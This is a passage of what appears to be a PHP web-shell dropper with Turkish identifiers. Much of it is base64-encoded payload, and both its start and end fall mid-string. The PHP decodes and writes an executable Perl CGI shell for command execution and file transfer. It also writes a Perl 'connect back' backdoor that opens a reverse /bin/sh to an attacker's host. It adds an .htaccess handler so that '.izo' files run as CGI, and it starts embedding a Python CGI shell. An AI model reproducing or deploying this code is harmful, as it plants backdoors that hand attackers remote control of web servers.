pHOTNibXh2WVdRZ1lYVjBiMjFoZEdsallXeHNlUzROQ2lNZ1FYSm5kVzFsCmJuUWdNVG9nUm5Wc2JIa2djWFZoYkdsbWFXVmtJR1pwYkdWdVlXMWxJRzltSUhSb1pTQm1hV3hsSUhSdklHSmxJR1J2ZDI1c2IyRmsKWldRTkNpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdApMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTME5Dbk4xWWlCUWNtbHVkRVJ2ZDI1c2IyRmtUR2x1YTFCaFoyVU5DbnNOCkNnbHNiMk5oYkNna1JtbHNaVlZ5YkNrZ1BTQkFYenNOQ2dscFppZ3RaU0FrUm1sc1pWVnliQ2tnSXlCcFppQjBhR1VnWm1sc1pTQmwKZUdsemRITU5DZ2w3RFFvSkNTTWdaVzVqYjJSbElIUm9aU0JtYVd4bElHeHBibXNnYzI4Z2QyVWdZMkZ1SUhObGJtUWdhWFFnZEc4ZwpkR2hsSUdKeWIzZHpaWElOQ2drSkpFWnBiR1ZWY213Z1BYNGdjeThvVzE1aExYcEJMVm93TFRsZEtTOG5KU2N1ZFc1d1lXTnJLQ0pJCktpSXNKREVwTDJWbk93MEtDUWtrUkc5M2JteHZZV1JNYVc1cklEMGdJaVJUWTNKcGNIUk1iMk5oZEdsdmJqOWhQV1J2ZDI1c2IyRmsKSm1ZOUpFWnBiR1ZWY213bWJ6MW5ieUk3RFFvSkNTUklkRzFzVFdWMFlVaGxZV1JsY2lBOUlDSThiV1YwWVNCSVZGUlFMVVZSVlVsVwpQVndpVW1WbWNtVnphRndpSUVOUFRsUkZUbFE5WENJeE95QlZVa3c5SkVSdmQyNXNiMkZrVEdsdWExd2lQaUk3RFFvSkNTWlFjbWx1CmRGQmhaMlZJWldGa1pYSW9JbU1pS1RzTkNna0pjSEpwYm5RZ1BEeEZUa1E3RFFvOFkyOWtaVDROQ2cwS1UyVnVaR2x1WnlCR2FXeGwKSUNSVWNtRnVjMlpsY2tacGJHVXVMaTQ4WW5JK0RRcEpaaUIwYUdVZ1pHOTNibXh2WVdRZ1pHOWxjeUJ1YjNRZ2MzUmhjblFnWVhWMApiMjFoZEdsallXeHNlU3dOQ2p4aElHaHlaV1k5SWlSRWIzZHViRzloWkV4cGJtc2lQa05zYVdOcklFaGxjbVU4TDJFK0xnMEtSVTVFCkRRb0pDU1pRY21sdWRFTnZiVzFoYm1STWFXNWxTVzV3ZFhSR2IzSnRPdzBLQ1FrbVVISnBiblJRWVdkbFJtOXZkR1Z5T3cwS0NYME4KQ2dsbGJITmxJQ01nWm1sc1pTQmtiMlZ6YmlkMElHVjRhWE4wRFFvSmV3MEtDUWttVUhKcGJuUlFZV2RsU0dWaFpHVnlLQ0ptSWlrNwpEUW9KQ1hCeWFXNTBJQ0pHWVdsc1pXUWdkRzhnWkc5M2JteHZZV1FnSkVacGJHVlZjbXc2SUNRaElqc05DZ2tKSmxCeWFXNTBSbWxzClpVUnZkMjVzYjJGa1JtOXliVHNOQ2drSkpsQnlhVzUwVUdGblpVWnZiM1JsY2pzTkNnbDlEUXA5RFFvTkNpTXRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdApMUzB0TFMwdExTMHRMUzBOQ2lNZ1ZHaHBjeUJtZFc1amRHbHZiaUJ5WldGa2N5QjBhR1VnYzNCbFkybG1hV1ZrSUdacGJHVWdabkp2CmJTQjBhR1VnWkdsemF5QmhibVFnYzJWdVpITWdhWFFnZEc4Z2RHaGxEUW9qSUdKeWIzZHpaWElzSUhOdklIUm9ZWFFnYVhRZ1kyRnUKSUdKbElHUnZkMjVzYjJGa1pXUWdZbmtnZEdobElIVnpaWEl1RFFvaklFRnlaM1Z0Wlc1MElERTZJRVoxYkd4NUlIRjFZV3hwWm1sbApaQ0J3WVhSb2JtRnRaU0J2WmlCMGFHVWdabWxzWlNCMGJ5QmlaU0J6Wlc1MExnMEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0CkxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFEwS2MzVmlJRk5sYm1SR2FXeGxWRzlDY205M2MyVnlEUXA3RFFvSmJHOWpZV3dvSkZObGJtUkdhV3hsS1NBOUlFQmZPdzBLQ1dsbQpLRzl3Wlc0b1UwVk9SRVpKVEVVc0lDUlRaVzVrUm1sc1pTa3BJQ01nWm1sc1pTQnZjR1Z1WldRZ1ptOXlJSEpsWVdScGJtY05DZ2w3CkRRb0pDV2xtS0NSWGFXNU9WQ2tOQ2drSmV3MEtDUWtKWW1sdWJXOWtaU2hUUlU1RVJrbE1SU2s3RFFvSkNRbGlhVzV0YjJSbEtGTlUKUkU5VlZDazdEUW9KQ1gwTkNna0pKRVpwYkdWVGFYcGxJRDBnS0hOMFlYUW9KRk5sYm1SR2FXeGxLU2xiTjEwN0RRb0pDU2drUm1scwpaVzVoYldVZ1BTQWtVMlZ1WkVacGJHVXBJRDErSUNCdElTaGJYaTllWEZ4ZEtpa2tJVHNOQ2drSmNISnBiblFnSWtOdmJuUmxiblF0ClZIbHdaVG9nWVhCd2JHbGpZWFJwYjI0dmVDMTFibXR1YjNkdVhHNGlPdzBLQ1Fsd2NtbHVkQ0FpUTI5dWRHVnVkQzFNWlc1bmRHZzYKSUNSR2FXeGxVMmw2WlZ4dUlqc05DZ2tKY0hKcGJuUWdJa052Ym5SbGJuUXRSR2x6Y0c5emFYUnBiMjQ2SUdGMGRHRmphRzFsYm5RNwpJR1pwYkdWdVlXMWxQU1F4WEc1Y2JpSTdEUW9KQ1hCeWFXNTBJSGRvYVd4bEtEeFRSVTVFUmtsTVJUNHBPdzBLQ1FsamJHOXpaU2hUClJVNUVSa2xNUlNrN0RRb0pmUTBLQ1dWc2MyVWdJeUJtWVdsc1pXUWdkRzhnYjNCbGJpQm1hV3hsRFFvSmV3MEtDUWttVUhKcGJuUlEKWVdkbFNHVmhaR1Z5S0NKbUlpazdEUW9KQ1hCeWFXNTBJQ0pHWVdsc1pXUWdkRzhnWkc5M2JteHZZV1FnSkZObGJtUkdhV3hsT2lBawpJU0k3RFFvSkNTWlFjbWx1ZEVacGJHVkViM2R1Ykc5aFpFWnZjbTA3RFFvTkNna0pKbEJ5YVc1MFVHRm5aVVp2YjNSbGNqc05DZ2w5CkRRcDlEUW9OQ2cwS0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRMEtJeUJVYUdseklHWjFibU4wYVc5dUlHbHpJR05oYkd4bApaQ0IzYUdWdUlIUm9aU0IxYzJWeUlHUnZkMjVzYjJGa2N5QmhJR1pwYkdVdUlFbDBJR1JwYzNCc1lYbHpJR0VnYldWemMyRm5aUTBLCkl5QjBieUIwYUdVZ2RYTmxjaUJoYm1RZ2NISnZkbWxrWlhNZ1lTQnNhVzVySUhSb2NtOTFaMmdnZDJocFkyZ2dkR2hsSUdacGJHVWcKWTJGdUlHSmxJR1J2ZDI1c2IyRmtaV1F1RFFvaklGUm9hWE1nWm5WdVkzUnBiMjRnYVhNZ1lXeHpieUJqWVd4c1pXUWdkMmhsYmlCMAphR1VnZFhObGNpQmpiR2xqYTNNZ2IyNGdkR2hoZENCc2FXNXJMaUJKYmlCMGFHbHpJR05oYzJVc0RRb2pJSFJvWlNCbWFXeGxJR2x6CklISmxZV1FnWVc1a0lITmxiblFnZEc4Z2RHaGxJR0p5YjNkelpYSXVEUW9qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0RFFwegpkV0lnUW1WbmFXNUViM2R1Ykc5aFpBMEtldzBLQ1NNZ1oyVjBJR1oxYkd4NUlIRjFZV3hwWm1sbFpDQndZWFJvSUc5bUlIUm9aU0JtCmFXeGxJSFJ2SUdKbElHUnZkMjVzYjJGa1pXUU5DZ2xwWmlnb0pGZHBiazVVSUNZZ0tDUlVjbUZ1YzJabGNrWnBiR1VnUFg0Z2JTOWUKWEZ4OFhpNDZMeWtwSUh3TkNna0pLQ0VrVjJsdVRsUWdKaUFvSkZSeVlXNXpabVZ5Um1sc1pTQTlmaUJ0TDE1Y0x5OHBLU2tnSXlCdwpZWFJvSUdseklHRmljMjlzZFhSbERRb0pldzBLQ1Fra1ZHRnlaMlYwUm1sc1pTQTlJQ1JVY21GdWMyWmxja1pwYkdVN0RRb0pmUTBLCkNXVnNjMlVnSXlCd1lYUm9JR2x6SUhKbGJHRjBhWFpsRFFvSmV3MEtDUWxqYUc5d0tDUlVZWEpuWlhSR2FXeGxLU0JwWmlna1ZHRnkKWjJWMFJtbHNaU0E5SUNSRGRYSnlaVzUwUkdseUtTQTlmaUJ0TDF0Y1hGd3ZYU1F2T3cwS0NRa2tWR0Z5WjJWMFJtbHNaU0F1UFNBawpVR0YwYUZObGNDNGtWSEpoYm5ObVpYSkdhV3hsT3cwS0NYME5DZzBLQ1dsbUtDUlBjSFJwYjI1eklHVnhJQ0puYnlJcElDTWdkMlVnCmFHRjJaU0IwYnlCelpXNWtJSFJvWlNCbWFXeGxEUW9KZXcwS0NRa21VMlZ1WkVacGJHVlViMEp5YjNkelpYSW9KRlJoY21kbGRFWnAKYkdVcE93MEtDWDBOQ2dsbGJITmxJQ01nZDJVZ2FHRjJaU0IwYnlCelpXNWtJRzl1YkhrZ2RHaGxJR3hwYm1zZ2NHRm5aUTBLQ1hzTgpDZ2tKSmxCeWFXNTBSRzkzYm14dllXUk1hVzVyVUdGblpTZ2tWR0Z5WjJWMFJtbHNaU2s3RFFvSmZRMEtmUTBLRFFvakxTMHRMUzB0CkxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHREUW9qSUZSb2FYTWdablZ1WTNScGIyNGdhWE1nWTJGc2JHVmtJSGRvWlc0Z2RHaGxJSFZ6WlhJZwpkMkZ1ZEhNZ2RHOGdkWEJzYjJGa0lHRWdabWxzWlM0Z1NXWWdkR2hsRFFvaklHWnBiR1VnYVhNZ2JtOTBJSE53WldOcFptbGxaQ3dnCmFYUWdaR2x6Y0d4aGVYTWdZU0JtYjNKdElHRnNiRzkzYVc1bklIUm9aU0IxYzJWeUlIUnZJSE53WldOcFpua2dZUTBLSXlCbWFXeGwKTENCdmRHaGxjbmRwYzJVZ2FYUWdjM1JoY25SeklIUm9aU0IxY0d4dllXUWdjSEp2WTJWemN5NE5DaU10TFMwdExTMHRMUzB0TFMwdApMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0CkxTMHRMUzB0TFMwTkNuTjFZaUJWY0d4dllXUkdhV3hsRFFwN0RRb0pJeUJwWmlCdWJ5Qm1hV3hsSUdseklITndaV05wWm1sbFpDd2cKY0hKcGJuUWdkR2hsSUhWd2JHOWhaQ0JtYjNKdElHRm5ZV2x1RFFvSmFXWW9KRlJ5WVc1elptVnlSbWxzWlNCbGNTQWlJaWtOQ2dsNwpEUW9KQ1NaUWNtbHVkRkJoWjJWSVpXRmtaWElvSW1ZaUtUc05DZ2tKSmxCeWFXNTBSbWxzWlZWd2JHOWhaRVp2Y20wN0RRb0pDU1pRCmNtbHVkRkJoWjJWR2IyOTBaWEk3RFFvSkNYSmxkSFZ5YmpzTkNnbDlEUW9KSmxCeWFXNTBVR0ZuWlVobFlXUmxjaWdpWXlJcE93MEsKRFFvSkl5QnpkR0Z5ZENCMGFHVWdkWEJzYjJGa2FXNW5JSEJ5YjJObGMzTU5DZ2x3Y21sdWRDQWlWWEJzYjJGa2FXNW5JQ1JVY21GdQpjMlpsY2tacGJHVWdkRzhnSkVOMWNuSmxiblJFYVhJdUxpNDhZbkkrSWpzTkNnMEtDU01nWjJWMElIUm9aU0JtZFd4c2JIa2djWFZoCmJHbG1hV1ZrSUhCaGRHaHVZVzFsSUc5bUlIUm9aU0JtYVd4bElIUnZJR0psSUdOeVpXRjBaV1FOQ2dsamFHOXdLQ1JVWVhKblpYUk8KWVcxbEtTQnBaaUFvSkZSaGNtZGxkRTVoYldVZ1BTQWtRM1Z5Y21WdWRFUnBjaWtnUFg0Z2JTOWJYRnhjTDEwa0x6c05DZ2trVkhKaApibk5tWlhKR2FXeGxJRDErSUcwaEtGdGVMMTVjWEYwcUtTUWhPdzBLQ1NSVVlYSm5aWFJPWVcxbElDNDlJQ1JRWVhSb1UyVndMaVF4Ck93MEtEUW9KSkZSaGNtZGxkRVpwYkdWVGFYcGxJRDBnYkdWdVozUm9LQ1JwYm5zblptbHNaV1JoZEdFbmZTazdEUW9KSXlCcFppQjAKYUdVZ1ptbHNaU0JsZUdsemRITWdZVzVrSUhkbElHRnlaU0J1YjNRZ2MzVndjRzl6WldRZ2RHOGdiM1psY25keWFYUmxJR2wwRFFvSgphV1lvTFdVZ0pGUmhjbWRsZEU1aGJXVWdKaVlnSkU5d2RHbHZibk1nYm1VZ0ltOTJaWEozY21sMFpTSXBEUW9KZXcwS0NRbHdjbWx1CmRDQWlSbUZwYkdWa09pQkVaWE4wYVc1aGRHbHZiaUJtYVd4bElHRnNjbVZoWkhrZ1pYaHBjM1J6TGp4aWNqNGlPdzBLQ1gwTkNnbGwKYkhObElDTWdabWxzWlNCcGN5QnViM1FnY0hKbGMyVnVkQTBLQ1hzTkNna0phV1lvYjNCbGJpaFZVRXhQUVVSR1NVeEZMQ0FpUGlSVQpZWEpuWlhST1lXMWxJaWtwRFFvSkNYc05DZ2tKQ1dKcGJtMXZaR1VvVlZCTVQwRkVSa2xNUlNrZ2FXWWdKRmRwYms1VU93MEtDUWtKCmNISnBiblFnVlZCTVQwRkVSa2xNUlNBa2FXNTdKMlpwYkdWa1lYUmhKMzA3RFFvSkNRbGpiRzl6WlNoVlVFeFBRVVJHU1V4RktUc04KQ2drSkNYQnlhVzUwSUNKVWNtRnVjMlpsY21Wa0lDUlVZWEpuWlhSR2FXeGxVMmw2WlNCQ2VYUmxjeTQ4WW5JK0lqc05DZ2tKQ1hCeQphVzUwSUNKR2FXeGxJRkJoZEdnNklDUlVZWEpuWlhST1lXMWxQR0p5UGlJN0RRb0pDWDBOQ2drSlpXeHpaUTBLQ1FsN0RRb0pDUWx3CmNtbHVkQ0FpUm1GcGJHVmtPaUFrSVR4aWNqNGlPdzBLQ1FsOURRb0pmUTBLQ1hCeWFXNTBJQ0lpT3cwS0NTWlFjbWx1ZEVOdmJXMWgKYm1STWFXNWxTVzV3ZFhSR2IzSnRPdzBLRFFvSkpsQnlhVzUwVUdGblpVWnZiM1JsY2pzTkNuME5DZzBLSXkwdExTMHRMUzB0TFMwdApMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0CkxTMHRMUzB0TFMwdExRMEtJeUJVYUdseklHWjFibU4wYVc5dUlHbHpJR05oYkd4bFpDQjNhR1Z1SUhSb1pTQjFjMlZ5SUhkaGJuUnoKSUhSdklHUnZkMjVzYjJGa0lHRWdabWxzWlM0Z1NXWWdkR2hsRFFvaklHWnBiR1Z1WVcxbElHbHpJRzV2ZENCemNHVmphV1pwWldRcwpJR2wwSUdScGMzQnNZWGx6SUdFZ1ptOXliU0JoYkd4dmQybHVaeUIwYUdVZ2RYTmxjaUIwYnlCemNHVmphV1o1SUdFTkNpTWdabWxzClpTd2diM1JvWlhKM2FYTmxJR2wwSUdScGMzQnNZWGx6SUdFZ2JXVnpjMkZuWlNCMGJ5QjBhR1VnZFhObGNpQmhibVFnY0hKdmRtbGsKWlhNZ1lTQnNhVzVyRFFvaklIUm9jbTkxWjJnZ0lIZG9hV05vSUhSb1pTQm1hV3hsSUdOaGJpQmlaU0JrYjNkdWJHOWhaR1ZrTGcwSwpJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0CkxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUTBLYzNWaUlFUnZkMjVzYjJGa1JtbHNaUTBLZXcwS0NTTWdhV1lnYm04Z1ptbHMKWlNCcGN5QnpjR1ZqYVdacFpXUXNJSEJ5YVc1MElIUm9aU0JrYjNkdWJHOWhaQ0JtYjNKdElHRm5ZV2x1RFFvSmFXWW9KRlJ5WVc1egpabVZ5Um1sc1pTQmxjU0FpSWlrTkNnbDdEUW9KQ1NaUWNtbHVkRkJoWjJWSVpXRmtaWElvSW1ZaUtUc05DZ2tKSmxCeWFXNTBSbWxzClpVUnZkMjVzYjJGa1JtOXliVHNOQ2drSkpsQnlhVzUwVUdGblpVWnZiM1JsY2pzTkNna0pjbVYwZFhKdU93MEtDWDBOQ2drTkNna2oKSUdkbGRDQm1kV3hzZVNCeGRXRnNhV1pwWldRZ2NHRjBhQ0J2WmlCMGFHVWdabWxzWlNCMGJ5QmlaU0JrYjNkdWJHOWhaR1ZrRFFvSgphV1lvS0NSWGFXNU9WQ0FtSUNna1ZISmhibk5tWlhKR2FXeGxJRDErSUcwdlhseGNmRjR1T2k4cEtTQjhEUW9KQ1NnaEpGZHBiazVVCklDWWdLQ1JVY21GdWMyWmxja1pwYkdVZ1BYNGdiUzllWEM4dktTa3BJQ01nY0dGMGFDQnBjeUJoWW5OdmJIVjBaUTBLQ1hzTkNna0oKSkZSaGNtZGxkRVpwYkdVZ1BTQWtWSEpoYm5ObVpYSkdhV3hsT3cwS0NYME5DZ2xsYkhObElDTWdjR0YwYUNCcGN5QnlaV3hoZEdsMgpaUTBLQ1hzTkNna0pZMmh2Y0Nna1ZHRnlaMlYwUm1sc1pTa2dhV1lvSkZSaGNtZGxkRVpwYkdVZ1BTQWtRM1Z5Y21WdWRFUnBjaWtnClBYNGdiUzliWEZ4Y0wxMGtMenNOQ2drSkpGUmhjbWRsZEVacGJHVWdMajBnSkZCaGRHaFRaWEF1SkZSeVlXNXpabVZ5Um1sc1pUc04KQ2dsOURRb05DZ2xwWmlna1QzQjBhVzl1Y3lCbGNTQWlaMjhpS1NBaklIZGxJR2hoZG1VZ2RHOGdjMlZ1WkNCMGFHVWdabWxzWlEwSwpDWHNOQ2drSkpsTmxibVJHYVd4bFZHOUNjbTkzYzJWeUtDUlVZWEpuWlhSR2FXeGxLVHNOQ2dsOURRb0paV3h6WlNBaklIZGxJR2hoCmRtVWdkRzhnYzJWdVpDQnZibXg1SUhSb1pTQnNhVzVySUhCaFoyVU5DZ2w3RFFvSkNTWlFjbWx1ZEVSdmQyNXNiMkZrVEdsdWExQmgKWjJVb0pGUmhjbWRsZEVacGJHVXBPdzBLQ1gwTkNuME5DZzBLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdApMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFEwS0l5Qk5ZV2x1CklGQnliMmR5WVcwZ0xTQkZlR1ZqZFhScGIyNGdVM1JoY25SeklFaGxjbVVOQ2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwTgpDaVpTWldGa1VHRnljMlU3RFFvbVIyVjBRMjl2YTJsbGN6c05DZzBLSkZOamNtbHdkRXh2WTJGMGFXOXVJRDBnSkVWT1Zuc25VME5TClNWQlVYMDVCVFVVbmZUc05DaVJUWlhKMlpYSk9ZVzFsSUQwZ0pFVk9WbnNuVTBWU1ZrVlNYMDVCVFVVbmZUc05DaVJNYjJkcGJsQmgKYzNOM2IzSmtJRDBnSkdsdWV5ZHdKMzA3RFFva1VuVnVRMjl0YldGdVpDQTlJQ1JwYm5zbll5ZDlPdzBLSkZSeVlXNXpabVZ5Um1scwpaU0E5SUNScGJuc25aaWQ5T3cwS0pFOXdkR2x2Ym5NZ1BTQWthVzU3SjI4bmZUc05DZzBLSkVGamRHbHZiaUE5SUNScGJuc25ZU2Q5Ck93MEtKRUZqZEdsdmJpQTlJQ0pzYjJkcGJpSWdhV1lvSkVGamRHbHZiaUJsY1NBaUlpazdJQ01nYm04Z1lXTjBhVzl1SUhOd1pXTnAKWm1sbFpDd2dkWE5sSUdSbFptRjFiSFFOQ2cwS0l5Qm5aWFFnZEdobElHUnBjbVZqZEc5eWVTQnBiaUIzYUdsamFDQjBhR1VnWTI5dApiV0Z1WkhNZ2QybHNiQ0JpWlNCbGVHVmpkWFJsWkEwS0pFTjFjbkpsYm5SRWFYSWdQU0FrYVc1N0oyUW5mVHNOQ21Ob2IzQW9KRU4xCmNuSmxiblJFYVhJZ1BTQmdKRU50WkZCM1pHQXBJR2xtS0NSRGRYSnlaVzUwUkdseUlHVnhJQ0lpS1RzTkNnMEtKRXh2WjJkbFpFbHUKSUQwZ0pFTnZiMnRwWlhON0oxTkJWa1ZFVUZkRUozMGdaWEVnSkZCaGMzTjNiM0prT3cwS0RRcHBaaWdrUVdOMGFXOXVJR1Z4SUNKcwpiMmRwYmlJZ2ZId2dJU1JNYjJkblpXUkpiaWtnSXlCMWMyVnlJRzVsWldSekwyaGhjeUIwYnlCc2IyZHBiZzBLZXcwS0NTWlFaWEptCmIzSnRURzluYVc0N0RRb05DbjBOQ21Wc2MybG1LQ1JCWTNScGIyNGdaWEVnSW1OdmJXMWhibVFpS1NBaklIVnpaWElnZDJGdWRITWcKZEc4Z2NuVnVJR0VnWTI5dGJXRnVaQTBLZXcwS0NTWkZlR1ZqZFhSbFEyOXRiV0Z1WkRzTkNuME5DbVZzYzJsbUtDUkJZM1JwYjI0ZwpaWEVnSW5Wd2JHOWhaQ0lwSUNNZ2RYTmxjaUIzWVc1MGN5QjBieUIxY0d4dllXUWdZU0JtYVd4bERRcDdEUW9KSmxWd2JHOWhaRVpwCmJHVTdEUXA5RFFwbGJITnBaaWdrUVdOMGFXOXVJR1Z4SUNKa2IzZHViRzloWkNJcElDTWdkWE5sY2lCM1lXNTBjeUIwYnlCa2IzZHUKYkc5aFpDQmhJR1pwYkdVTkNuc05DZ2ttUkc5M2JteHZZV1JHYVd4bE93MEtmUTBLWld4emFXWW9KRUZqZEdsdmJpQmxjU0FpYkc5bgpiM1YwSWlrZ0l5QjFjMlZ5SUhkaGJuUnpJSFJ2SUd4dloyOTFkQTBLZXcwS0NTWlFaWEptYjNKdFRHOW5iM1YwT3cwS2ZRPT0nOwoKJGZpbGUgPSBmb3BlbigiaXpvLmNpbiIgLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRjZ2lzaGVsbGl6b2NpbikpOwpmY2xvc2UoJGZpbGUpOwogICAgY2htb2QoIml6by5jaW4iLDA3NTUpOwokbmV0Y2F0c2hlbGwgPSAnSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9nSUNBZ0lDQjFjMlVnVTI5amEyVjBPdzBLSUNBZ0lDQWdjSEpwYm5RZ0lrUmhkR0VnUTJoaApNSE1nUTI5dWJtVmpkQ0JDWVdOcklFSmhZMnRrYjI5eVhHNWNiaUk3RFFvZ0lDQWdJQ0JwWmlBb0lTUkJVa2RXV3pCZEtTQjdEUW9nCklDQWdJQ0FnSUhCeWFXNTBaaUFpVlhOaFoyVTZJQ1F3SUZ0SWIzTjBYU0E4VUc5eWRENWNiaUk3RFFvZ0lDQWdJQ0FnSUdWNGFYUW8KTVNrN0RRb2dJQ0FnSUNCOURRb2dJQ0FnSUNCd2NtbHVkQ0FpV3lwZElFUjFiWEJwYm1jZ1FYSm5kVzFsYm5SelhHNGlPdzBLSUNBZwpJQ0FnSkdodmMzUWdQU0FrUVZKSFZsc3dYVHNOQ2lBZ0lDQWdJQ1J3YjNKMElEMGdPREE3RFFvZ0lDQWdJQ0JwWmlBb0pFRlNSMVpiCk1WMHBJSHNOQ2lBZ0lDQWdJQ0FnSkhCdmNuUWdQU0FrUVZKSFZsc3hYVHNOQ2lBZ0lDQWdJSDBOQ2lBZ0lDQWdJSEJ5YVc1MElDSmIKS2wwZ1EyOXVibVZqZEdsdVp5NHVMbHh1SWpzTkNpQWdJQ0FnSUNSd2NtOTBieUE5SUdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbgpLU0I4ZkNCa2FXVW9JbFZ1YTI1dmQyNGdVSEp2ZEc5amIyeGNiaUlwT3cwS0lDQWdJQ0FnYzI5amEyVjBLRk5GVWxaRlVpd2dVRVpmClNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lDUndjbTkwYnlrZ2ZId2daR2xsSUNnaVUyOWphMlYwSUVWeWNtOXlYRzRpS1RzTkNpQWcKSUNBZ0lHMTVJQ1IwWVhKblpYUWdQU0JwYm1WMFgyRjBiMjRvSkdodmMzUXBPdzBLSUNBZ0lDQWdhV1lnS0NGamIyNXVaV04wS0ZORgpVbFpGVWl3Z2NHRmpheUFpVTI1Qk5IZzRJaXdnTWl3Z0pIQnZjblFzSUNSMFlYSm5aWFFwS1NCN0RRb2dJQ0FnSUNBZ0lHUnBaU2dpClZXNWhZbXhsSUhSdklFTnZibTVsWTNSY2JpSXBPdzBLSUNBZ0lDQWdmUTBLSUNBZ0lDQWdjSEpwYm5RZ0lsc3FYU0JUY0dGM2JtbHUKWnlCVGFHVnNiRnh1SWpzTkNpQWdJQ0FnSUdsbUlDZ2habTl5YXlnZ0tTa2dldzBLSUNBZ0lDQWdJQ0J2Y0dWdUtGTlVSRWxPTENJKwpKbE5GVWxaRlVpSXBPdzBLSUNBZ0lDQWdJQ0J2Y0dWdUtGTlVSRTlWVkN3aVBpWlRSVkpXUlZJaUtUc05DaUFnSUNBZ0lDQWdiM0JsCmJpaFRWRVJGVWxJc0lqNG1VMFZTVmtWU0lpazdEUW9nSUNBZ0lDQWdJR1Y0WldNZ2V5Y3ZZbWx1TDNOb0ozMGdKeTFpWVhOb0p5QXUKSUNKY01DSWdlQ0EwT3cwS0lDQWdJQ0FnSUNCbGVHbDBLREFwT3cwS0lDQWdJQ0FnZlEwS0lDQWdJQ0FnY0hKcGJuUWdJbHNxWFNCRQpZWFJoWTJobFpGeHVYRzRpT3c9PSc7CgokZmlsZSA9IGZvcGVuKCJkYy5wbCIgLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRuZXRjYXRzaGVsbCkpOwpmY2xvc2UoJGZpbGUpOwogICAgY2htb2QoImRjLnBsIiwwNzU1KTsKZWNobyAiPGlmcmFtZSBzcmM9Y2dpc2hlbGwvaXpvLmNpbiB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7Cn0KaWYgKGlzc2V0KCRfUE9TVFsnU3VibWl0MTQnXSkpCnsKICAgIG1rZGlyKCdweXRob24nLCAwNzU1KTsKICAgIGNoZGlyKCdweXRob24nKTsKICAgICAgICAka29rZG9zeWEgPSAiLmh0YWNjZXNzIjsKICAgICAgICAkZG9zeWFfYWRpID0gIiRrb2tkb3N5YSI7CiAgICAgICAgJGRvc3lhID0gZm9wZW4gKCRkb3N5YV9hZGkgLCAndycpIG9yIGRpZSAoIkRvc3lhIGHDp8SxbGFtYWTEsSEiKTsKICAgICAgICAkbWV0aW4gPSAiQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5pem8iOyAgICAKICAgICAgICBmd3JpdGUgKCAkZG9zeWEgLCAkbWV0aW4gKSA7CiAgICAgICAgZmNsb3NlICgkZG9zeWEpOwokcHl0aG9ucCA9ICdJeUV2ZFhOeUwySnBiaTl3ZVhSb2IyNEtJeUF3Tnkwd055MHdOQW9qSUhZeExqQXVNQW9LSXlCaloya3RjMmhsYkd3dWNIa0tJeUJCCklITnBiWEJzWlNCRFIwa2dkR2hoZENCbGVHVmpkWFJsY3lCaGNtSnBkSEpoY25rZ2MyaGxiR3dnWTI5dGJXRnVaSE11Q2dvS0l5QkQKYjNCNWNtbG5hSFFnVFdsamFHRmxiQ0JHYjI5eVpBb2pJRmx2ZFNCaGNtVWdabkpsWlNCMGJ5QnRiMlJwWm5rc0lIVnpaU0JoYm1RZwpjbVZzYVdObGJuTmxJSFJvYVhNZ1kyOWtaUzRLQ2lNZ1RtOGdkMkZ5Y21GdWRIa2daWGh3Y21WemN5QnZjaUJwYlhCc2FXVmtJR1p2CmNpQjBhR1VnWVdOamRYSmhZM2tzSUdacGRHNWxjM01nZEc4Z2NIVnljRzl6WlNCdmNpQnZkR2hsY25kcGMyVWdabTl5SUhSb2FYTWcKWTI5a1pTNHVMaTRLSXlCVmMyVWdZWFFnZVc5MWNpQnZkMjRnY21semF5QWhJU0VLQ2lNZ